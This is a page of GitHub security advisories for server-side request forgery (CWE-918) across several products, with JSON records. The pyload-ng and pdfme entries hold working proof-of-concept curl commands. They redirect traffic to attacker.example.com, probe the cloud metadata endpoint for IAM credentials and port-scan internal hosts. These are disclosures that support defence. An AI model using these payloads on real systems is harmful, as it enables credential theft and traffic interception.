CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4687 vulnerabilities reference this CWE, most recent first.
GHSA-PFXP-H2RX-W8C2
Vulnerability from github – Published: 2025-04-28 09:31 – Updated: 2025-05-12 21:31A vulnerability was found in playeduxyz PlayEdu 开源培训系统 up to 1.8 and classified as problematic. This issue affects some unknown processing of the file /api/backend/v1/user/create of the component User Avatar Handler. The manipulation of the argument Avatar leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-4012"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-28T09:15:21Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in playeduxyz PlayEdu \u5f00\u6e90\u57f9\u8bad\u7cfb\u7edf up to 1.8 and classified as problematic. This issue affects some unknown processing of the file /api/backend/v1/user/create of the component User Avatar Handler. The manipulation of the argument Avatar leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-pfxp-h2rx-w8c2",
"modified": "2025-05-12T21:31:02Z",
"published": "2025-04-28T09:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4012"
},
{
"type": "WEB",
"url": "https://github.com/Bae-ke/cve/issues/3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.306365"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.306365"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.558283"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PG2V-8XWH-QHCC
Vulnerability from github – Published: 2026-02-18 00:55 – Updated: 2026-04-27 16:46Summary
The optional Tlon (Urbit) extension previously accepted a user-provided base URL for authentication and used it to construct an outbound HTTP request, enabling server-side request forgery (SSRF) in affected deployments.
Impact
This only affects deployments that have installed and configured the Tlon (Urbit) extension, and where an attacker can influence the configured Urbit URL. Under those conditions, the gateway could be induced to make HTTP requests to attacker-chosen hosts (including internal addresses).
Deployments that do not use the Tlon extension, or where untrusted users cannot change the Urbit URL, are not impacted.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.2.13
Fixed Versions
2026.2.14(planned next release)
Fix Commit(s)
bfa7d21e997baa8e3437657d59b1e296815cc1b1
Details
Urbit authentication now validates and normalizes the base URL and uses an SSRF guard that blocks private/internal hosts by default (opt-in: channels.tlon.allowPrivateNetwork).
Release Process Note
This advisory is pre-populated with the planned patched version (2026.2.14). After openclaw@2026.2.14 is published to npm, publish this advisory without further edits.
Thanks @p80n-sec for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28476"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T00:55:00Z",
"nvd_published_at": "2026-03-05T22:16:21Z",
"severity": "MODERATE"
},
"details": "## Summary\nThe optional Tlon (Urbit) extension previously accepted a user-provided base URL for authentication and used it to construct an outbound HTTP request, enabling server-side request forgery (SSRF) in affected deployments.\n\n## Impact\nThis only affects deployments that have installed and configured the Tlon (Urbit) extension, and where an attacker can influence the configured Urbit URL. Under those conditions, the gateway could be induced to make HTTP requests to attacker-chosen hosts (including internal addresses).\n\nDeployments that do not use the Tlon extension, or where untrusted users cannot change the Urbit URL, are not impacted.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.13`\n\n## Fixed Versions\n- `2026.2.14` (planned next release)\n\n## Fix Commit(s)\n- `bfa7d21e997baa8e3437657d59b1e296815cc1b1`\n\n## Details\nUrbit authentication now validates and normalizes the base URL and uses an SSRF guard that blocks private/internal hosts by default (opt-in: `channels.tlon.allowPrivateNetwork`).\n\n## Release Process Note\nThis advisory is pre-populated with the planned patched version (`2026.2.14`). After `openclaw@2026.2.14` is published to npm, publish this advisory without further edits.\n\nThanks @p80n-sec for reporting.",
"id": "GHSA-pg2v-8xwh-qhcc",
"modified": "2026-04-27T16:46:07Z",
"published": "2026-02-18T00:55:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-pg2v-8xwh-qhcc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28476"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/bfa7d21e997baa8e3437657d59b1e296815cc1b1"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-in-tlon-extension-authentication"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw affected by SSRF in optional Tlon (Urbit) extension authentication"
}
GHSA-PG2W-H945-7PF7
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-45502"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:26Z",
"severity": "MODERATE"
},
"details": "Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to disclose information over a network.",
"id": "GHSA-pg2w-h945-7pf7",
"modified": "2026-06-09T18:30:50Z",
"published": "2026-06-09T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45502"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PG67-9WJV-MR85
Vulnerability from github – Published: 2026-05-04 22:08 – Updated: 2026-06-08 19:48Summary
The set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.
Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.
This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy.* fields are jointly required to weaponize the miss and are patched together.
Details
Writer — src/pyload/core/api/__init__.py, set_config_value() (around lines 215–290). The allowlist:
ADMIN_ONLY_CORE_OPTIONS = {
("general", "storage_folder"),
("log", "syslog_host"), ("log", "syslog_port"),
("proxy", "password"), ("proxy", "username"), # <-- credentials gated
("reconnect", "script"),
("webui", "host"),
("webui", "ssl_certfile"), ("webui", "ssl_keyfile"), ("webui", "ssl_certchain"),
("webui", "use_ssl"),
}
("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.
Reader — src/pyload/core/network/request_factory.py:82-100:
def get_proxies(self):
if not self.pyload.config.get("proxy", "enabled"):
return {}
proxy_type = self.pyload.config.get("proxy", "type")
proxy_host = self.pyload.config.get("proxy", "host")
proxy_port = self.pyload.config.get("proxy", "port")
proxy_username = self.pyload.config.get("proxy", "username") or None
proxy_password = self.pyload.config.get("proxy", "password") or None
return {"type": proxy_type, ..., "host": proxy_host, "port": proxy_port, ...}
Sink — src/pyload/core/network/http/http_request.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. get_proxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.
PoC
Authenticated as any user with Perms.SETTINGS (non-admin role):
# 1) Log in as the SETTINGS (non-admin) user.
curl -c cookies.txt -X POST http://pyload.example:8000/api/login \
-d 'username=settings_user&password=<password>'
# 2) Redirect all outbound traffic through attacker.example.com:8080.
for kv in \
'category=proxy&option=enabled&value=True' \
'category=proxy&option=host&value=attacker.example.com' \
'category=proxy&option=port&value=8080' \
'category=proxy&option=type&value=http' ; do
curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \
-d "$kv§ion=core"
done
# 3) Enqueue any download (or wait for any periodic update / captcha
# fetch). The attacker's server receives the full request — URL,
# query string (often carrying auth tokens on download sites),
# headers, cookies — and can inject an arbitrary response body.
Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. socat -v TCP-LISTEN:8080,fork,reuseaddr -), trigger any pyload download, and observe the full request on the listener.
Impact
- Who: any authenticated user whose role was granted
Perms.SETTINGS. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius. - What:
- Full interception of all outbound HTTP traffic: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.
- Credential theft from any download-site auth cookies or bearer tokens that affected plugins send.
- Arbitrary response injection — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.
- Chains with the sibling
ssl_verifyadvisory: if the attacker additionally setsgeneral.ssl_verify=off(same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize whatset_config_valuealready permits to a SETTINGS user.
- Why gating the credentials alone is insufficient: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.0b3.dev99"
},
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev100"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42313"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-863",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:08:26Z",
"nvd_published_at": "2026-05-11T18:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `(\"proxy\", \"username\")` and `(\"proxy\", \"password\")` \u2014 which protect the proxy credentials \u2014 but it does **not** include `(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, or `(\"proxy\", \"type\")`. Any authenticated user with the non-admin `SETTINGS` permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.\n\nGating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload\u0027s proxy-auth secret. `proxy.username` / `proxy.password` were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.\n\nThis is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here \u2014 the four `proxy.*` fields are jointly required to weaponize the miss and are patched together.\n\n### Details\n\n**Writer** \u2014 `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215\u2013290). The allowlist:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n (\"general\", \"storage_folder\"),\n (\"log\", \"syslog_host\"), (\"log\", \"syslog_port\"),\n (\"proxy\", \"password\"), (\"proxy\", \"username\"), # \u003c-- credentials gated\n (\"reconnect\", \"script\"),\n (\"webui\", \"host\"),\n (\"webui\", \"ssl_certfile\"), (\"webui\", \"ssl_keyfile\"), (\"webui\", \"ssl_certchain\"),\n (\"webui\", \"use_ssl\"),\n}\n```\n\n`(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, `(\"proxy\", \"type\")` are absent.\n\n**Reader** \u2014 `src/pyload/core/network/request_factory.py:82-100`:\n\n```python\ndef get_proxies(self):\n if not self.pyload.config.get(\"proxy\", \"enabled\"):\n return {}\n proxy_type = self.pyload.config.get(\"proxy\", \"type\")\n proxy_host = self.pyload.config.get(\"proxy\", \"host\")\n proxy_port = self.pyload.config.get(\"proxy\", \"port\")\n proxy_username = self.pyload.config.get(\"proxy\", \"username\") or None\n proxy_password = self.pyload.config.get(\"proxy\", \"password\") or None\n return {\"type\": proxy_type, ..., \"host\": proxy_host, \"port\": proxy_port, ...}\n```\n\n**Sink** \u2014 `src/pyload/core/network/http/http_request.py` (around lines 211\u2013230) passes the dict to pycurl via `PROXY` / `PROXYPORT` / `PROXYTYPE` options. `get_proxies()` is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request \u2014 no restart required.\n\n### PoC\n\nAuthenticated as any user with `Perms.SETTINGS` (non-admin role):\n\n```bash\n# 1) Log in as the SETTINGS (non-admin) user.\ncurl -c cookies.txt -X POST http://pyload.example:8000/api/login \\\n -d \u0027username=settings_user\u0026password=\u003cpassword\u003e\u0027\n\n# 2) Redirect all outbound traffic through attacker.example.com:8080.\nfor kv in \\\n \u0027category=proxy\u0026option=enabled\u0026value=True\u0027 \\\n \u0027category=proxy\u0026option=host\u0026value=attacker.example.com\u0027 \\\n \u0027category=proxy\u0026option=port\u0026value=8080\u0027 \\\n \u0027category=proxy\u0026option=type\u0026value=http\u0027 ; do\n curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \\\n -d \"$kv\u0026section=core\"\ndone\n\n# 3) Enqueue any download (or wait for any periodic update / captcha\n# fetch). The attacker\u0027s server receives the full request \u2014 URL,\n# query string (often carrying auth tokens on download sites),\n# headers, cookies \u2014 and can inject an arbitrary response body.\n```\n\nVerification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v TCP-LISTEN:8080,fork,reuseaddr -`), trigger any pyload download, and observe the full request on the listener.\n\n### Impact\n\n- **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.\n- **What**:\n 1. **Full interception of all outbound HTTP traffic**: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.\n 2. **Credential theft** from any download-site auth cookies or bearer tokens that affected plugins send.\n 3. **Arbitrary response injection** \u2014 poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.\n 4. **Chains with the sibling `ssl_verify` advisory**: if the attacker additionally sets `general.ssl_verify=off` (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what `set_config_value` already permits to a SETTINGS user.\n- **Why gating the credentials alone is insufficient**: already covered in the summary \u2014 the attacker owns the proxy endpoint, so they do not need pyload\u0027s proxy-auth creds.",
"id": "GHSA-pg67-9wjv-mr85",
"modified": "2026-06-08T19:48:19Z",
"published": "2026-05-04T22:08:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42313"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4744-96p5-mp2j"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-ppvx-rwh9-7rj7"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-r7mc-x6x7-cqxx"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-w48f-wwwf-f5fr"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-127.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)"
}
GHSA-PG8H-HJRW-38C4
Vulnerability from github – Published: 2026-07-19 09:31 – Updated: 2026-07-19 09:31A vulnerability was found in 1Panel-dev CordysCRM up to 1.4.1. This issue affects some unknown processing of the file backend/crm/src/main/java/cn/cordys/crm/integration/sso/service/TokenService.java of the component Third Party Endpoint. Performing a manipulation of the argument mkAddress results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project closed the issue report, stating that this is not the official way to report a security vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-16222"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T08:16:42Z",
"severity": "LOW"
},
"details": "A vulnerability was found in 1Panel-dev CordysCRM up to 1.4.1. This issue affects some unknown processing of the file backend/crm/src/main/java/cn/cordys/crm/integration/sso/service/TokenService.java of the component Third Party Endpoint. Performing a manipulation of the argument mkAddress results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project closed the issue report, stating that this is not the official way to report a security vulnerability.",
"id": "GHSA-pg8h-hjrw-38c4",
"modified": "2026-07-19T09:31:36Z",
"published": "2026-07-19T09:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16222"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/CordysCRM/issues/2685"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/CordysCRM/issues/2686"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/CordysCRM"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-16222"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/858043"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/858044"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380044"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380044/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PGF5-GW7R-WXG7
Vulnerability from github – Published: 2026-03-30 18:31 – Updated: 2026-04-01 21:30CrewAI contains a server-side request forgery vulnerability that enables content acquisition from internal and cloud services, facilitated by the RAG search tools not properly validating URLs provided at runtime.
{
"affected": [],
"aliases": [
"CVE-2026-2286"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-30T16:16:04Z",
"severity": "CRITICAL"
},
"details": "CrewAI contains a server-side request forgery vulnerability that enables content acquisition from internal and cloud services, facilitated by the RAG search tools not properly validating URLs provided at runtime.",
"id": "GHSA-pgf5-gw7r-wxg7",
"modified": "2026-04-01T21:30:26Z",
"published": "2026-03-30T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2286"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/221883"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PGFJ-JH8G-79G5
Vulnerability from github – Published: 2026-07-03 21:31 – Updated: 2026-07-03 21:31Server-side request forgery (ssrf) in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.
{
"affected": [],
"aliases": [
"CVE-2026-57987"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T21:17:01Z",
"severity": "MODERATE"
},
"details": "Server-side request forgery (ssrf) in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.",
"id": "GHSA-pgfj-jh8g-79g5",
"modified": "2026-07-03T21:31:39Z",
"published": "2026-07-03T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57987"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PGJQ-PWJV-WJPX
Vulnerability from github – Published: 2026-01-14 12:31 – Updated: 2026-06-30 03:35External Control of File Name or Path (CWE-73) combined with Server-Side Request Forgery (CWE-918) can allow an attacker to cause arbitrary file disclosure through a specially crafted credentials JSON payload in the Google Gemini connector configuration. This requires an attacker to have authenticated access with privileges sufficient to create or modify connectors (Alerts & Connectors: All). The server processes a configuration without proper validation, allowing for arbitrary network requests and for arbitrary file reads.
{
"affected": [],
"aliases": [
"CVE-2026-0532"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-14T11:15:50Z",
"severity": "HIGH"
},
"details": "External Control of File Name or Path (CWE-73) combined with Server-Side Request Forgery (CWE-918) can allow an attacker to cause arbitrary file disclosure through a specially crafted credentials JSON payload in the Google Gemini connector configuration. This requires an attacker to have authenticated access with privileges sufficient to create or modify connectors (Alerts \u0026 Connectors: All). The server processes a configuration without proper validation, allowing for arbitrary network requests and for arbitrary file reads.",
"id": "GHSA-pgjq-pwjv-wjpx",
"modified": "2026-06-30T03:35:24Z",
"published": "2026-01-14T12:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0532"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-0532"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429540"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-10-9-1-10-9-2-4-security-update-esa-2026-05/384524"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-0532.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PGR9-W2R6-XP6R
Vulnerability from github – Published: 2025-08-12 00:30 – Updated: 2025-08-12 00:30Server-Side Request Forgery (SSRF) in Omnissa Secure Email Gateway (SEG) in SEG prior to 2.32 running on Windows and SEG prior to 2503 running on UAG allows routing of network traffic such as HTTP requests to internal networks.
{
"affected": [],
"aliases": [
"CVE-2025-25235"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-11T22:15:26Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) in Omnissa Secure Email Gateway (SEG) in SEG prior to 2.32 running on Windows and SEG prior to 2503 running on UAG allows routing of network traffic such as HTTP requests to internal networks.",
"id": "GHSA-pgr9-w2r6-xp6r",
"modified": "2025-08-12T00:30:24Z",
"published": "2025-08-12T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25235"
},
{
"type": "WEB",
"url": "https://www.omnissa.com/omsa-2025-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PGX6-7JCQ-2QFF
Vulnerability from github – Published: 2026-03-20 20:45 – Updated: 2026-03-20 20:45Summary
The getB64BasePdf function in @pdfme/common fetches arbitrary URLs via fetch() without any validation when basePdf is a non-data-URI string and window is defined. An attacker who can control the basePdf field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.
Details
The vulnerability exists in packages/common/src/helper.ts:130-141. When getB64BasePdf receives a string that does not start with data:application/pdf;, and window is defined, it passes the string directly to fetch():
// packages/common/src/helper.ts:130-141
export const getB64BasePdf = async (
customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
if (
typeof customPdf === 'string' &&
!customPdf.startsWith('data:application/pdf;') &&
typeof window !== 'undefined'
) {
const response = await fetch(customPdf); // <-- No URL validation
const blob = await response.blob();
return blob2Base64Pdf(blob);
}
// ...
};
The Zod schema for basePdf in packages/common/src/schema.ts:133-135 accepts any string:
export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);
export const BasePdf = z.union([CustomPdf, BlankPdf]);
The checkGenerateProps function at packages/common/src/helper.ts:279 only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.
This function is called from multiple entry points:
- packages/generator/src/helper.ts:42 — during PDF generation
- packages/ui/src/hooks.ts:67 — during UI rendering
- packages/ui/src/helper.ts:292 — during template processing
The typeof window !== 'undefined' guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where window is polyfilled but fetch has full network access without CORS restrictions.
PoC
1. Setup a vulnerable application
// server.js — Next.js API route or Express handler using pdfme
import { generate } from '@pdfme/generator';
export async function POST(req) {
const { template, inputs } = await req.json();
// Application accepts user-provided templates
const pdf = await generate({ template, inputs, plugins: {} });
return new Response(pdf);
}
2. Probe internal services via SSRF
# Attacker sends a template with basePdf pointing to an internal service
curl -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d '{
"template": {
"basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"schemas": [[]]
},
"inputs": [{}]
}'
3. Port scanning internal network
# Scan internal hosts by observing response timing differences
for port in 80 443 3306 5432 6379 8080; do
curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d "{
\"template\": {
\"basePdf\": \"http://10.0.0.1:${port}/\",
\"schemas\": [[]]
},
\"inputs\": [{}]
}"
echo " - port $port"
done
4. Exfiltrate cloud metadata (AWS example)
# In SSR context, fetch reads the full response body and converts to base64
curl -X POST http://target-app.com/api/generate-pdf \
-H 'Content-Type: application/json' \
-d '{
"template": {
"basePdf": "http://169.254.169.254/latest/meta-data/",
"schemas": [[]]
},
"inputs": [{}]
}'
# The fetch will succeed; the response will fail PDF parsing,
# but error messages or timing differences leak information
Impact
- Cloud metadata exfiltration: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (
169.254.169.254) to steal IAM credentials, API tokens, and service account keys. - Internal network reconnaissance: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.
- Internal service access: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.
- Blind request forgery in browsers: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).
- Data exfiltration via DNS: Attackers can use DNS-based exfiltration by crafting URLs like
http://<stolen-data>.attacker.comto leak information even when responses are not readable.
Recommended Fix
Add URL validation in getB64BasePdf before calling fetch(). At minimum, restrict to HTTPS and block private/reserved IP ranges:
// packages/common/src/helper.ts
const BLOCKED_HOSTNAME_PATTERNS = [
/^localhost$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2\d|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^0\./,
/^\[::1\]/,
/^\[fc/i,
/^\[fd/i,
